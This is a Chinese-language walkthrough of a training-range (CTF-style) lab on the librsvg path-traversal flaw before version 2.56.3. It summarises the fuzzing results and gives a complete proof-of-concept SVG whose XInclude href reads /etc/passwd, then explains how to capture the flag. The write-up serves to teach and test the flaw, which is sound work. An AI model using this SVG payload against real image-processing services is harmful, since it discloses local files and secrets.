靶场介绍
一个在 librsvg 2.56.3 之前版本中 URL 解码器的目录遍历问题,可以被本地或远程攻击者用来泄露文件(在预期区域之外的本地文件系统上),例如通过在 xi:include 元素中使用 href=“.?../…/…/…/…/…/…/…/…/…/etc/passwd” 来读取结果。
开启靶场
漏洞介绍
鉴于对URL解析器所在位置的理解,我们从librsvg中获取了相关部分,并设置了一个模糊处理工具(“resolve”),以在遇到来自磁盘上的“current.svg”文件的引用(href、XInclude等)时运行与解析URL逻辑相同的逻辑。这使我们能够快速测试和模糊输入,以了解解析器和验证逻辑是如何评估的。模糊化的一些有趣输出如下:
resolve“current.svg”:按预期通过。
解析运行’…/…/…/…/…/…/…/…/etc/passwd:规范化失败,返回“No such file or directory”。
解析’current.svg?…/…/…/…/…/…/…/…/etc/passwd’:通过。
解析’none//current.svg’:按预期通过。
最后两个结果向我们展示了GFile::for_uri很好地解析了路径遍历,包括查询字符串中的路径遍历。然而,第二个结果…/…/…/…//etc/passwd,由于规范化检查而失败。
原文:
上传POC
你不知道是什么格式,问AI啊
保存为SVG后缀
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="600" height="600" style="fill:rgb(255,255,255);" />
<text x="10" y="100">
<xi:include href=".?../../../../../../../../etc/passwd" parse="text"
encoding="UTF-8">
<xi:fallback>file not found</xi:fallback>
</xi:include>
</text>
</svg>
读取到了
你觉得图片有点短,修改一下这里啊,修改图片大一点不就行了
<svg width=“600” height=“600” xmlns:xi=“http://www.w3.org/2001/XInclude”>
获取flag
这不就是过了?